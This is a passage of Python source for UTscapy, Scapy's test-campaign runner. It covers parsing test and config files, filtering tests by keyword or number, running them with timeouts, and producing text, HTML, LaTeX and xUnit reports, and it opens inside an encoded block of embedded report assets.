noqa: E501\n                       \"\"\"QlpoOTFBWSZTWbpATIwAAFpfgHwQSB//+Cpj2Q\nC//9/6UAS5t7qcLut3NNDp0gxKMmpqaep6n6iP\\n1J+pPU0yAAaeoaDI0BJCTJqa\nj1BoaGhoAAPSAAAJNSRqmmk8TQmj1DT1Hom1HkQABoNDmmJgATAB\\nMAAJgACYJI\nhDQUzCR5Q0niRoaAGgGmZS+faw7LNbkliDG1Q52WJCd85cxRVVKegld8qCRISoto\nGD\\nEGREFEYRW0CxAgTb13lodjuN7E1aCFgRFVhiEmZAZ/ek+XR0c8DWiAKpBgY2\nLNpQ1rOvlnoUI1Al\\n0ySaP1w2MyFxoQqRicScCm6WnQOxDnufxk8s2deLLKlN+r\nfvxyTTCGRAWZONkVGIxVQRZGZLeAwH\\nbpQXZcYj467i85knEOYWmLcokaqEGYGS\nxMCpD+cOIaL7GCxEU/aNSlWFNCvQBvzb915huAgdIdD2\\nya9ZQGoqrmtommfAxu\n7FGTDBNBfir9UkAMmT1KRzxasJ0n2OE+mlgTZzJnhydbJaMtAk8DJzUuvv\\nZpc3\nCJLVyr8F3NmIQO5E3SJSY3SQnk1CQwlELqFutXjeWWzmiywo7xJk5rUcVOV9+Ro4\n96WmXsUr\\nkKhNocbnFztqPhesccW5kja+KuNFmzdw4DVOBJ2JPhGOYSwCUiwUe2\nkOshYBdULUmwYwToAGdgA9\\n5n3bSpG85LUFIE0Cw78EYVgY0ESnYW5UdfgBhj1w\nPiiXDEG2vAtr38O9kdwg3tFU/0okilEjDYDa\\nEfkomkLUSokmE8g1fMYBqQyyaP\nRWmySO3EtAuMVhQqIuMldOzLqWubl7k1MnhuBaELOgtB2TChcS\\n0k7jvgdBKIef\nUkdAf3t2GO/LVSrDvkcb4l4TrwrI7JeCo8pBvXqZBqZJSqbsAziG7QDQVNqdtFGz\n\\nEvMKOvKvUQ6mJFigLxBnziGQGQDEMQPSGhlV2BwAN6rZEmLwgED0OrEiSxXDcB\nMDskp36AV7IbKa\\nCila/Wm1BKhBF+ZIqtiFyYpUhI1Q5+JK0zK7aVyLS9y7GaSr\nNCRpr7uaa1UgapVKs6wKKQzYCWsV\\n8iCGrAkgWZEnDMJWCGUZOIpcmMle1UXSAl\nd5OoUYXNo0L7WSOcxEkSGjCcRhjvMRP1pAUuBPRCRA\\n2lhC0ZgLYDAf5V2agMUa\nki1ZgOQDXQ7aIDTdjGRTgnzPML0V1X+tIoSSZmZhrxZbluMWGEkwwky6\\n0ObWIM\ncEbX4cawPPBVc6m5UUPbEmBANyjtNvTKE2ri7oOmBVKIMLqQKm+4rlmisu2uGSxW\nzTov5w\\nqQDp61FkHk40wzQUKk4YcBlbQT1l8VXeZJYAVFjSJIcC8JykBYZJ1yka\nI4LDm5WP7s2NaRkhhV7A\\nFVSD5zA8V/DJzfTk0QHmCT2wRgwPKjP60EqqlDUaST\n/i7kinChIXSAmRgA==\\n\"\"\")\n\n    def get_local_dict(cls):\n        return {x: y.name for (x, y) in cls.__dict__.items()\n                if isinstance(y, File)}\n    get_local_dict = classmethod(get_local_dict)\n\n    def get_URL_dict(cls):\n        return {x: y.URL for (x, y) in cls.__dict__.items()\n                if isinstance(y, File)}\n    get_URL_dict = classmethod(get_URL_dict)\n\n\n#    HELPER CLASSES FOR PARAMETRING OUTPUT FORMAT    #\n\nclass EnumClass:\n    def from_string(cls, x):\n        return cls.__dict__[x.upper()]\n    from_string = classmethod(from_string)\n\n\nclass Format(EnumClass):\n    TEXT = 1\n    ANSI = 2\n    HTML = 3\n    LATEX = 4\n    XUNIT = 5\n    LIVE = 6\n\n\n#    TEST CLASSES    #\n\nclass TestClass:\n    def __getitem__(self, item):\n        return getattr(self, item)\n\n    def add_keywords(self, kws):\n        if isinstance(kws, str):\n            kws = [kws.lower()]\n        for kwd in kws:\n            kwd = kwd.lower()\n            if kwd.startswith('-'):\n                try:\n                    self.keywords.remove(kwd[1:])\n                except KeyError:\n                    pass\n            else:\n                self.keywords.add(kwd)\n\n\nclass TestCampaign(TestClass):\n    def __init__(self, title):\n        self.title = title\n        self.filename = None\n        self.headcomments = \"\"\n        self.campaign = []\n        self.keywords = set()\n        self.crc = None\n        self.sha = None\n        self.preexec = None\n        self.preexec_output = None\n        self.end_pos = 0\n        self.interrupted = False\n        self.duration = 0.0\n\n    def add_testset(self, testset):\n        self.campaign.append(testset)\n        testset.keywords.update(self.keywords)\n\n    def trunc(self, index):\n        self.campaign = self.campaign[:index]\n\n    def startNum(self, beginpos):\n        for ts in self:\n            for t in ts:\n                t.num = beginpos\n                beginpos += 1\n        self.end_pos = beginpos\n\n    def __iter__(self):\n        return self.campaign.__iter__()\n\n    def all_tests(self):\n        for ts in self:\n            for t in ts:\n                yield t\n\n\nclass TestSet(TestClass):\n    def __init__(self, name):\n        self.name = name\n        self.tests = []\n        self.comments = \"\"\n        self.keywords = set()\n        self.crc = None\n        self.expand = 1\n\n    def add_test(self, test):\n        self.tests.append(test)\n        test.keywords.update(self.keywords)\n\n    def trunc(self, index):\n        self.tests = self.tests[:index]\n\n    def __iter__(self):\n        return self.tests.__iter__()\n\n\nclass UnitTest(TestClass):\n    def __init__(self, name):\n        self.name = name\n        self.test = \"\"\n        self.comments = \"\"\n        self.result = \"passed\"\n        self.fresult = \"\"\n        # make instance True at init to have a different truth value than None\n        self.duration = 0\n        self.output = \"\"\n        self.num = -1\n        self.keywords = set()\n        self.crc = None\n        self.expand = 1\n\n    def prepare(self, theme):\n        if self.result == \"passed\":\n            self.fresult = theme.success(self.result)\n        else:\n            self.fresult = theme.fail(self.result)\n\n    def __nonzero__(self):\n        return self.result == \"passed\"\n    __bool__ = __nonzero__\n\n\n# Careful note: all data not included will be set by default.\n# Use -c as first argument !!\ndef parse_config_file(config_path, verb=3):\n    \"\"\"Parse provided json to get configuration\n    Empty default json:\n    {\n      \"testfiles\": [],\n      \"breakfailed\": true,\n      \"onlyfailed\": false,\n      \"verb\": 3,\n      \"dump\": 0,\n      \"docs\": 0,\n      \"crc\": true,\n      \"preexec\": {},\n      \"global_preexec\": \"\",\n      \"outputfile\": null,\n      \"local\": true,\n      \"format\": \"ansi\",\n      \"num\": null,\n      \"extensions\": [],\n      \"modules\": [],\n      \"kw_ok\": [],\n      \"kw_ko\": []\n    }\n\n    \"\"\"\n    with open(config_path, encoding='utf-8') as config_file:\n        data = json.load(config_file)\n        if verb > 2:\n            print(\" %s Loaded config file\" % arrow, config_path)\n\n    def get_if_exist(key, default):\n        return data[key] if key in data else default\n    return Bunch(testfiles=get_if_exist(\"testfiles\", []),\n                 breakfailed=get_if_exist(\"breakfailed\", True),\n                 remove_testfiles=get_if_exist(\"remove_testfiles\", []),\n                 onlyfailed=get_if_exist(\"onlyfailed\", False),\n                 verb=get_if_exist(\"verb\", 3),\n                 dump=get_if_exist(\"dump\", 0), crc=get_if_exist(\"crc\", 1),\n                 docs=get_if_exist(\"docs\", 0),\n                 preexec=get_if_exist(\"preexec\", {}),\n                 global_preexec=get_if_exist(\"global_preexec\", \"\"),\n                 outfile=get_if_exist(\"outputfile\", sys.stdout),\n                 local=get_if_exist(\"local\", False),\n                 num=get_if_exist(\"num\", None),\n                 modules=get_if_exist(\"modules\", []),\n                 extensions=get_if_exist(\"extensions\", []),\n                 kw_ok=get_if_exist(\"kw_ok\", []),\n                 kw_ko=get_if_exist(\"kw_ko\", []),\n                 format=get_if_exist(\"format\", \"ansi\"))\n\n#    PARSE CAMPAIGN    #\n\n\ndef parse_campaign_file(campaign_file):\n    test_campaign = TestCampaign(\"Test campaign\")\n    test_campaign.filename = campaign_file.name\n    testset = None\n    test = None\n    testnb = 0\n\n    for line in campaign_file.readlines():\n        if line[0] == '#':\n            continue\n        if line[0] == \"~\":\n            (test or testset or test_campaign).add_keywords(line[1:].split())\n        elif line[0] == \"%\":\n            test_campaign.title = line[1:].strip()\n        elif line[0] == \"+\":\n            testset = TestSet(line[1:].strip())\n            test_campaign.add_testset(testset)\n            test = None\n        elif line[0] == \"=\":\n            test = UnitTest(line[1:].strip())\n            test.num = testnb\n            testnb += 1\n            if testset is None:\n                error_m = \"Please create a test set (i.e. '+' section).\"\n                raise getopt.GetoptError(error_m)\n            testset.add_test(test)\n        elif line[0] == \"*\":\n            if test is not None:\n                test.comments += line[1:]\n            elif testset is not None:\n                testset.comments += line[1:]\n            else:\n                test_campaign.headcomments += line[1:]\n        else:\n            if test is None:\n                if line.strip():\n                    raise ValueError(\"Unknown content [%s]\" % line.strip())\n            else:\n                test.test += line\n    return test_campaign\n\n\ndef dump_campaign(test_campaign):\n    print(\"#\" * (len(test_campaign.title) + 6))\n    print(\"## %(title)s ##\" % test_campaign)\n    print(\"#\" * (len(test_campaign.title) + 6))\n    if test_campaign.sha and test_campaign.crc:\n        print(\"CRC=[%(crc)s] SHA=[%(sha)s]\" % test_campaign)\n    print(\"from file %(filename)s\" % test_campaign)\n    print()\n    for ts in test_campaign:\n        if ts.crc:\n            print(\"+--[%s]%s(%s)--\" % (ts.name, \"-\" * max(2, 80 - len(ts.name) - 18), ts.crc))  # noqa: E501\n        else:\n            print(\"+--[%s]%s\" % (ts.name, \"-\" * max(2, 80 - len(ts.name) - 6)))\n        if ts.keywords:\n            print(\"  kw=%s\" % \",\".join(ts.keywords))\n        for t in ts:\n            print(\"%(num)03i %(name)s\" % t)\n            c = k = \"\"\n            if t.keywords:\n                k = \"kw=%s\" % \",\".join(t.keywords)\n            if t.crc:\n                c = \"[%(crc)s] \" % t\n            if c or k:\n                print(\"    %s%s\" % (c, k))\n\n\ndef docs_campaign(test_campaign):\n    print(\"%(title)s\" % test_campaign)\n    print(\"=\" * (len(test_campaign.title)))\n    print()\n    if len(test_campaign.headcomments):\n        print(\"%s\" % test_campaign.headcomments.strip().replace(\"\\n\", \"\"))\n        print()\n    for ts in test_campaign:\n        print(\"%s\" % ts.name)\n        print(\"-\" * len(ts.name))\n        print()\n        if len(ts.comments):\n            print(\"%s\" % ts.comments.strip().replace(\"\\n\", \"\"))\n            print()\n        for t in ts:\n            print(\"%s\" % t.name)\n            print(\"^\" * len(t.name))\n            print()\n            if len(t.comments):\n                print(\"%s\" % t.comments.strip().replace(\"\\n\", \"\"))\n                print()\n            print(\"Usage example::\")\n            for line in t.test.split('\\n'):\n                if not line.rstrip().endswith('# no_docs'):\n                    print(\"\\t%s\" % line)\n\n\n#    COMPUTE CAMPAIGN DIGESTS    #\ndef crc32(x):\n    return \"%08X\" % (0xffffffff & zlib.crc32(bytearray(x, \"utf8\")))\n\n\ndef sha1(x):\n    return hashlib.sha1(x.encode(\"utf8\")).hexdigest().upper()\n\n\ndef compute_campaign_digests(test_campaign):\n    dc = \"\"\n    for ts in test_campaign:\n        dts = \"\"\n        for t in ts:\n            dt = t.test.strip()\n            t.crc = crc32(dt)\n            dts += \"\\0\" + dt\n        ts.crc = crc32(dts)\n        dc += \"\\0\\x01\" + dts\n    test_campaign.crc = crc32(dc)\n    with open(test_campaign.filename, encoding='utf-8') as fdesc:\n        test_campaign.sha = sha1(fdesc.read())\n\n\n#    FILTER CAMPAIGN     #\n\ndef filter_tests_on_numbers(test_campaign, num):\n    if num:\n        for ts in test_campaign:\n            ts.tests = [t for t in ts.tests if t.num in num]\n        test_campaign.campaign = [ts for ts in test_campaign.campaign\n                                  if ts.tests]\n\n\ndef _filter_tests_kw(test_campaign, kw, keep):\n    def kw_match(lst, kw):\n        return any(k for k in lst if kw == k)\n\n    if kw:\n        kw = kw.lower()\n        if keep:\n            cond = lambda x: x\n        else:\n            cond = lambda x: not x\n        for ts in test_campaign:\n            ts.tests = [t for t in ts.tests if cond(kw_match(t.keywords, kw))]\n\n\ndef filter_tests_keep_on_keywords(test_campaign, kw):\n    return _filter_tests_kw(test_campaign, kw, True)\n\n\ndef filter_tests_remove_on_keywords(test_campaign, kw):\n    return _filter_tests_kw(test_campaign, kw, False)\n\n\ndef remove_empty_testsets(test_campaign):\n    test_campaign.campaign = [ts for ts in test_campaign.campaign if ts.tests]\n\n\n# RUN TEST #\n\ndef _run_test_timeout(test, get_interactive_session, verb=3, my_globals=None):\n    \"\"\"Run a test with timeout\"\"\"\n    from scapy.autorun import StopAutorunTimeout\n    try:\n        return get_interactive_session(test,\n                                       timeout=5 * 60,  # 5 min\n                                       verb=verb,\n                                       my_globals=my_globals)\n    except StopAutorunTimeout:\n        return \"-- Test timed out ! --\", False\n\n\ndef run_test(test, get_interactive_session, theme, verb=3,\n             my_globals=None):\n    \"\"\"An internal UTScapy function to run a single test\"\"\"\n    start_time = time.time()\n    test.output, res = _run_test_timeout(test.test.strip(), get_interactive_session, verb=verb, my_globals=my_globals)\n    test.result = \"failed\"\n    try:\n        if res is None or res:\n            test.result = \"passed\"\n        if test.output.endswith('KeyboardInterrupt\\n'):\n            test.result = \"interrupted\"\n            raise KeyboardInterrupt\n    except Exception:\n        test.output += \"UTscapy: Error during result interpretation:\\n\"\n        test.output += \"\".join(traceback.format_exception(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2],))\n    finally:\n        test.duration = time.time() - start_time\n        if test.result == \"failed\":\n            from scapy.sendrecv import debug\n            # Add optional debugging data to log\n            if debug.crashed_on:\n                cls, val = debug.crashed_on\n                test.output += \"\\n\\nPACKET DISSECTION FAILED ON:\\n %s(bytes.fromhex('%s'))\" % (cls.__name__, val.hex())\n                debug.crashed_on = None\n        test.prepare(theme)\n        if verb > 2:\n            print(\"%(fresult)6s %(crc)s %(duration)06.2fs %(name)s\" % test)\n        elif verb > 1:\n            print(\"%(fresult)6s %(crc)s %(name)s\" % test)\n\n    return bool(test)\n\n# RUN CAMPAIGN #\n\n\ndef import_UTscapy_tools(ses):\n    \"\"\"Adds UTScapy tools directly to a session\"\"\"\n    ses[\"Bunch\"] = Bunch\n    ses[\"retry_test\"] = retry_test\n    ses[\"scapy_path\"] = scapy_path\n    ses[\"no_debug_dissector\"] = no_debug_dissector\n    if WINDOWS:\n        from scapy.arch.windows import _route_add_loopback\n        _route_add_loopback()\n        ses[\"conf\"].ifaces = conf.ifaces\n        ses[\"conf\"].route.routes = conf.route.routes\n        ses[\"conf\"].route6.routes = conf.route6.routes\n\n\ndef run_campaign(test_campaign, get_interactive_session, theme,\n                 drop_to_interpreter=False, verb=3,\n                 scapy_ses=None):\n    passed = failed = 0\n    if test_campaign.preexec:\n        test_campaign.preexec_output = get_interactive_session(\n            test_campaign.preexec.strip(),\n            my_globals=scapy_ses\n        )[0]\n\n    # Drop\n    def drop(t, scapy_ses):\n        from scapy.main import interact\n        interact(\n            mybanner=\"Test '%s' failed.\\n\\n%s\" % (t.name, t.output),\n            mybanneronly=True,\n            mydict=scapy_ses,\n            argv=[None, \"-H\"],\n        )\n\n    try:\n        for i, testset in enumerate(test_campaign):\n            for j, t in enumerate(testset):\n                if run_test(t, get_interactive_session, theme,\n                            verb=verb, my_globals=scapy_ses):\n                    passed += 1\n                else:\n                    failed += 1\n                    if drop_to_interpreter:\n                        drop(t, scapy_ses)\n                test_campaign.duration += t.duration\n    except KeyboardInterrupt:\n        failed += 1\n        testset.trunc(j + 1)\n        test_campaign.trunc(i + 1)\n        test_campaign.interrupted = True\n        if verb:\n            print(\"Campaign interrupted!\")\n\n    test_campaign.passed = passed\n    test_campaign.failed = failed\n    style = [theme.success, theme.fail][bool(failed)]\n    if verb > 2:\n        print(\"Campaign CRC=%(crc)s in %(duration)06.2fs SHA=%(sha)s\" % test_campaign)\n        print(style(\"PASSED=%i FAILED=%i\" % (passed, failed)))\n    elif verb:\n        print(\"Campaign CRC=%(crc)s  SHA=%(sha)s\" % test_campaign)\n        print(style(\"PASSED=%i FAILED=%i\" % (passed, failed)))\n    return failed\n\n\n#    INFO LINES    #\n\ndef info_line(test_campaign, theme):\n    filename = test_campaign.filename\n    duration = test_campaign.duration\n    if duration > 10:\n        duration = theme.format(duration, \"bg_red+white\")\n    elif duration > 5:\n        duration = theme.format(duration, \"red\")\n    if filename is None:\n        return \"Run at %s by UTscapy in %s\" % (\n            time.strftime(\"%H:%M:%S\"),\n            duration\n        )\n    else:\n        return \"Run at %s from [%s] by UTscapy in %s\" % (\n            time.strftime(\"%H:%M:%S\"),\n            filename,\n            duration\n        )\n\n\ndef html_info_line(test_campaign):\n    filename = test_campaign.filename\n    if filename is None:\n        return \"\"\"Run %s by <a href=\"http://www.secdev.org/projects/UTscapy/\">UTscapy</a><br>\"\"\" % time.ctime()  # noqa: E501\n    else:\n        return \"\"\"Run %s from [%s] by <a href=\"http://www.secdev.org/projects/UTscapy/\">UTscapy</a><br>\"\"\" % (time.ctime(), filename)  # noqa: E501\n\n\ndef latex_info_line(test_campaign):\n    filename = test_campaign.filename\n    if filename is None:\n        return \"\"\"by UTscapy\"\"\", \"\"\"%s\"\"\" % time.ctime()\n    else:\n        return \"\"\"from %s by UTscapy\"\"\" % tex_escape(filename), \"\"\"%s\"\"\" % time.ctime()\n\n\n#    CAMPAIGN TO something    #\n\ndef campaign_to_TEXT(test_campaign, theme):\n    ptheme = [lambda x: x, theme.success][bool(test_campaign.passed)]\n    ftheme = [lambda x: x, theme.fail][bool(test_campaign.failed)]\n\n    output = theme.green(\"\\n%(title)s\\n\" % test_campaign)\n    output += dash + \" \" + info_line(test_campaign, theme) + \"\\n\"\n    output += ptheme(\" \" + arrow + \" Passed=%(passed)i\\n\" % test_campaign)\n    output += ftheme(\" \" + arrow + \" Failed=%(failed)i\\n\" % test_campaign)\n    output += \"%(headcomments)s\\n\" % test_campaign\n\n    for testset in test_campaign:\n        if any(t.expand for t in testset):\n            output += \"######\\n## %(name)s\\n######\\n%(comments)s\\n\\n\" % testset\n            for t in testset:\n                if t.expand:\n                    output += \"###(%(num)03i)=[%(result)s] %(name)s\\n%(comments)s\\n%(output)s\\n\\n\" % t  # noqa: E501\n\n    return output\n\n\ndef campaign_to_ANSI(test_campaign, theme):\n    return campaign_to_TEXT(test_campaign, theme)\n\n\ndef campaign_to_xUNIT(test_campaign):\n    output = '<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\\n<testsuite>\\n'\n    for testset in test_campaign:\n        for t in testset:\n            output += ' <testcase classname=\"%s\"\\n' % testset.name.replace('\"', ' ')  # noqa: E501\n            output += '           name=\"%s\"\\n' % t.name.replace('\"', ' ')  # noqa: E501\n            output += '           duration=\"0\">\\n' % t\n            if not t:\n                output += '<error><![CDATA[%(output)s]]></error>\\n' % t\n            output += \"</testcase>\\n\"\n    output += '</testsuite>'\n    return output\n\n\ndef campaign_to_HTML(test_campaign):\n    output = \"\"\"\n<h1>%(title)s</h1>\n\n<p>\n\"\"\" % test_campaign\n\n    if test_campaign.crc is not None and test_campaign.sha is not None:\n        output += \"CRC=<span class=crc>%(crc)s</span> SHA=<span class=crc>%(sha)s</span><br>\" % test_campaign\n    output += \"<small><em>\" + html_info_line(test_campaign) + \"</em></small>\"\n    output += \"\".join([\n        test_campaign.headcomments,\n        \"\\n<p>\",\n        \"PASSED=%(passed)i FAILED=%(failed)i\" % test_campaign,\n        \" <span class=warn_interrupted>INTERRUPTED!</span>\" if test_campaign.interrupted else \"\",\n        \"<p>\\n\\n\",\n    ])\n\n    for testset in test_campaign:\n        output += \"<h2>\" % testset\n        if testset.crc is not None:\n            output += \"<span class=crc>%(crc)s</span> \" % testset\n        output += \"%(name)s</h2>\\n%(comments)s\\n<ul>\\n\" % testset\n        for t in testset:\n            output += \"\"\"<li class=%(result)s id=\"tst%(num)il\">\\n\"\"\" % t\n            if t.expand == 2:\n                output += \"\"\"\n<span id=\"tst%(num)i+\" class=\"button%(result)s\" onClick=\"show('tst%(num)i')\" style=\"POSITION: absolute; VISIBILITY: hidden;\">+%(num)03i+</span>\n<span id=\"tst%(num)i-\" class=\"button%(result)s\" onClick=\"hide('tst%(num)i')\">-%(num)03i-</span>\n\"\"\" % t\n            else:\n                output += \"\"\"\n<span id=\"tst%(num)i+\" class=\"button%(result)s\" onClick=\"show('tst%(num)i')\">+%(num)03i+</span>\n<span id=\"tst%(num)i-\" class=\"button%(result)s\" onClick=\"hide('tst%(num)i')\" style=\"POSITION: absolute; VISIBILITY: hidden;\">-%(num)03i-</span>\n\"\"\" % t\n            if t.crc is not None:\n                output += \"<span class=crc>%(crc)s</span>\\n\" % t\n            output += \"\"\"%(name)s\\n<span class=\"comment %(result)s\" id=\"tst%(num)i\" \"\"\" % t  # noqa: E501\n            if t.expand < 2:\n                output += \"\"\" style=\"POSITION: absolute; VISIBILITY: hidden;\" \"\"\"  # noqa: E501\n            output += \"\"\"><br>%(comments)s\n<pre>\n%(output)s</pre></span>\n\"\"\" % t\n        output += \"\\n</ul>\\n\\n\"\n    return output\n\n\ndef pack_html_campaigns(runned_campaigns, data, local=False, title=None):\n    output = \"\"\"\n<html>\n<head>\n<title>%(title)s</title>\n<h1>UTScapy tests</h1>\n\n<span class=control_button onClick=\"hide_all('tst')\">Shrink All</span>\n<span class=control_button onClick=\"show_all('tst')\">Expand All</span>\n<span class=control_button onClick=\"show_passed('tst')\">Expand Passed</span>\n<span class=control_button onClick=\"show_failed('tst')\">Expand Failed</span>\n\n<p>\n\"\"\"\n    for test_campaign in runned_campaigns:\n        for ts in test_campaign:\n            for t in ts:\n                output += \"\"\"<span class=button%(result)s onClick=\"goto_id('tst%(num)il')\">%(num)03i</span>\\n\"\"\" % t\n\n    output += \"\"\"</p>\\n\\n\n<link rel=\"stylesheet\" href=\"%(UTscapy_css)s\" type=\"text/css\">\n<script language=\"JavaScript\" src=\"%(UTscapy_js)s\" type=\"text/javascript\"></script>\n</head>\n<body>\n%(data)s\n</body></html>\n\"\"\"\n    out_dict = {'data': data, 'title': title if title else \"UTScapy tests\"}\n    if local:\n        dirname = os.path.dirname(test_campaign.output_file)\n        External_Files.UTscapy_js.write(dirname)\n        External_Files.UTscapy_css.write(dirname)\n        out_dict.update(External_Files.get_local_dict())\n    else:\n        out_dict.update(External_Files.get_URL_dict())\n\n    output %= out_dict\n    return output\n\n\ndef campaign_to_LATEX(test_campaign):\n    output = r\"\"\"\n\\chapter{%(title)s}\nRun %%s on \\date{%%s}\n\\begin{description}\n\\item[Passed:] %(passed)i\n\\item[Failed:] %(failed)i\n\\end{description}\n\n%(headcomments)s\n\n\"\"\" % test_campaign\n    output %= latex_info_line(test_campaign)\n\n    for testset in test_campaign:\n        output += \"\\\\section{%(name)s}\\n\\n%(comments)s\\n\\n\" % testset\n        for t in testset:\n            t.comments = tex_escape(t.comments)\n            if t.expand:\n                output += r\"\"\"\\subsection{%(name)s}\n\nTest result: \\textbf{%(result)s}\\newline\n\n%(comments)s\n\\begin{alltt}\n%(output)s\n\\end{alltt}\n\n\"\"\" % t\n\n    return output\n\n\ndef pack_latex_campaigns(runned_campaigns, data, local=False, title=None):\n    output = r\"\"\"\n\\documentclass{report}\n\\usepackage{alltt}\n\\usepackage{xcolor}\n\\usepackage{a4wide}\n\\usepackage{hyperref}\n\n\\title{%(title)s}\n\n\\begin{document}\n\\maketitle\n\\tableofcontents\n\n%(data)s\n\\end{document}\\n\n\"\"\"\n\n    out_dict = {'data': data, 'title': title if title else \"UTScapy tests\"}\n\n    output %= out_dict\n    return output\n\n\n# USAGE #\n\ndef usage():\n    print(\"\"\"Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX|xUnit|live}] [-o output_file]\n               [-t testfile] [-T testfile] [-k keywords [-k ...]] [-K keywords [-K ...]]\n               [-l] [-b] [-d|-D] [-F] [-q[q]] [-i] [-P preexecute_python_code]\n               [-c configfile]\n-t\\t\\t: provide test files (can be used many times)\n-T\\t\\t: if -t is used with *, remove a specific file (can be used many times)\n-l\\t\\t: generate local .js and .css files\n-F\\t\\t: expand only failed tests\n-b\\t\\t: don't stop at the first failed campaign\n-d\\t\\t: dump campaign\n-D\\t\\t: dump campaign and stop\n-R\\t\\t: dump campaign as reStructuredText\n-C\\t\\t: don't calculate CRC and SHA\n-c\\t\\t: load a .utsc config file\n-i\\t\\t: drop into Python interpreter if test failed\n-q\\t\\t: quiet mode\n-qq\\t\\t: [silent mode]\n-x\\t\\t: use pyannotate\n-n <testnum>\\t: only tests whose numbers are given (eg. 1,3-7,12)\n-N\\t\\t: force non root\n-m <module>\\t: additional module to put in the namespace\n-k <kw1>,<kw2>,...\\t: include only tests with one of those keywords (can be used many times)\n-K <kw1>,<kw2>,...\\t: remove tests with one of those keywords (can be used many times)\n-P <preexecute_python_code>\n\"\"\")\n    raise SystemExit\n\n\n#    MAIN    #\n\ndef execute_campaign(TESTFILE, OUTPUTFILE, PREEXEC, NUM, KW_OK, KW_KO, DUMP, DOCS,\n                     FORMAT, VERB, ONLYFAILED, CRC, INTERPRETER,\n                     autorun_func, theme, pos_begin=0,\n                     scapy_ses=None):  # noqa: E501\n    # Parse test file\n    try:\n        test_campaign = parse_campaign_file(TESTFILE)\n    except ValueError as ex:\n        print(\n            theme.red(\"Error while parsing '%s': '%s'\" % (TESTFILE.name, ex))\n        )\n        sys.exit(1)\n\n    # Report parameters\n    if PREEXEC:\n        test_campaign.preexec = PREEXEC\n\n    # Compute campaign CRC and SHA\n    if CRC:\n        compute_campaign_digests(test_campaign)\n\n    # Filter out unwanted tests\n    filter_tests_on_numbers(test_campaign, NUM)\n    for k in KW_OK:\n        filter_tests_keep_on_keywords(test_campaign, k)\n    for k in KW_KO:\n        filter_tests_remove_on_keywords(test_campaign, k)\n\n    remove_empty_testsets(test_campaign)\n\n    # Dump campaign\n    if DUMP:\n        dump_campaign(test_campaign)\n        if DUMP > 1:\n            sys.exit()\n\n    # Dump campaign as reStructuredText\n    if DOCS:\n        docs_campaign(test_campaign)\n        sys.exit()\n\n    # Run tests\n    test_campaign.output_file = OUTPUTFILE\n    result = run_campaign(\n        test_campaign, autorun_func[FORMAT], theme,\n        drop_to_interpreter=INTERPRETER,\n        verb=VERB,\n        scapy_ses=scapy_ses\n    )\n\n    # Shrink passed\n    if ONLYFAILED:\n        for t in test_campaign.all_tests():\n            if t:\n                t.expand = 0\n            else:\n                t.expand = 2\n\n    # Generate report\n    if FORMAT == Format.TEXT:\n        output = campaign_to_TEXT(test_campaign, theme)\n    elif FORMAT == Format.ANSI:\n        output = campaign_to_ANSI(test_campaign, theme)\n    elif FORMAT == Format.HTML:\n        test_campaign.startNum(pos_begin)\n        output = campaign_to_HTML(test_campaign)\n    elif FORMAT == Format.LATEX:\n        output = campaign_to_LATEX(test_campaign)\n    elif FORMAT == Format.XUNIT:\n        output = campaign_to_xUNIT(test_campaign)\n    elif FORMAT == Format.LIVE:\n        output = \"\"\n\n    return output, (result == 0), test_campaign\n\n\ndef resolve_testfiles(TESTFILES):\n    for tfile in TESTFILES[:]:\n        if \"*\" in tfile:\n            TESTFILES.remove(tfile)\n            TESTFILES.extend(sorted(glob.glob(tfile)))\n    return TESTFILES\n\n\ndef main():\n    argv = sys.argv[1:]\n    logger = logging.getLogger(\"scapy\")\n    logger.addHandler(logging.StreamHandler())\n\n    # Treat SyntaxWarning as errors\n    warnings.filterwarnings(\"error\", category=SyntaxWarning)\n\n    import scapy\n    print(dash + \" UTScapy - Scapy %s - %s\" % (\n        scapy.__version__, sys.version.split(\" \")[0]\n    ))\n\n    # Parse arguments\n\n    FORMAT = Format.ANSI\n    OUTPUTFILE = sys.stdout\n    LOCAL = 0\n    NUM = None\n    NON_ROOT = False\n    KW_OK = []\n    KW_KO = []\n    DUMP = 0\n    DOCS = 0\n    CRC = True\n    BREAKFAILED = True\n    ONLYFAILED = False\n    VERB = 3\n    GLOB_PREEXEC = \"\"\n    PREEXEC_DICT = {}\n    MODULES = []\n    EXTENSIONS = []\n    TESTFILES = []\n    ANNOTATIONS_MODE = False\n    INTERPRETER = False\n    try:\n        opts = getopt.getopt(argv, \"o:t:T:c:f:hbln:m:k:K:DRdCiFqNP:s:x\")\n        for opt, optarg in opts[0]:\n            if opt == \"-h\":\n                usage()\n            elif opt == \"-b\":\n                BREAKFAILED = False\n            elif opt == \"-F\":\n                ONLYFAILED = True\n            elif opt == \"-q\":\n                VERB -= 1\n            elif opt == \"-D\":\n                DUMP = 2\n            elif opt == \"-R\":\n                DOCS = 1\n            elif opt == \"-d\":\n                DUMP = 1\n            elif opt == \"-C\":\n                CRC = False\n            elif opt == \"-i\":\n                INTERPRETER = True\n            elif opt == \"-x\":\n                ANNOTATIONS_MODE = True\n            elif opt == \"-P\":\n                GLOB_PREEXEC += \"\\n\" + optarg\n            elif opt == \"-f\":\n                try:\n                    FORMAT = Format.from_string(optarg)\n                except KeyError as msg:\n                    raise getopt.GetoptError(\"Unknown output format %s\" % msg)\n            elif opt == \"-t\":\n                TESTFILES.append(optarg)\n                TESTFILES = resolve_testfiles(TESTFILES)\n            elif opt == \"-T\":\n                TESTFILES.remove(optarg)\n            elif opt == \"-c\":\n                data = parse_config_file(optarg, VERB)\n                BREAKFAILED = data.breakfailed\n                ONLYFAILED = data.onlyfailed\n                VERB = data.verb\n                DUMP = data.dump\n                CRC = data.crc\n                PREEXEC_DICT = data.preexec\n                GLOB_PREEXEC = data.global_preexec\n                OUTPUTFILE = data.outfile\n                TESTFILES = data.testfiles\n                LOCAL = 1 if data.local else 0\n                NUM = data.num\n                MODULES = data.modules\n                EXTENSIONS = data.extensions\n                KW_OK.extend(data.kw_ok)\n                KW_KO.extend(data.kw_ko)\n                try:\n                    FORMAT = Format.from_string(data.format)\n                except KeyError as msg:\n                    raise getopt.GetoptError(\"Unknown output format %s\" % msg)\n                TESTFILES = resolve_testfiles(TESTFILES)\n                for testfile in resolve_testfiles(data.remove_testfiles):\n                    try:\n                        TESTFILES.remove(testfile)\n                    except ValueError:\n                        error_m = \"Cannot remove %s from test files\" % testfile\n                        raise getopt.GetoptError(error_m)\n            elif opt == \"-o\":\n                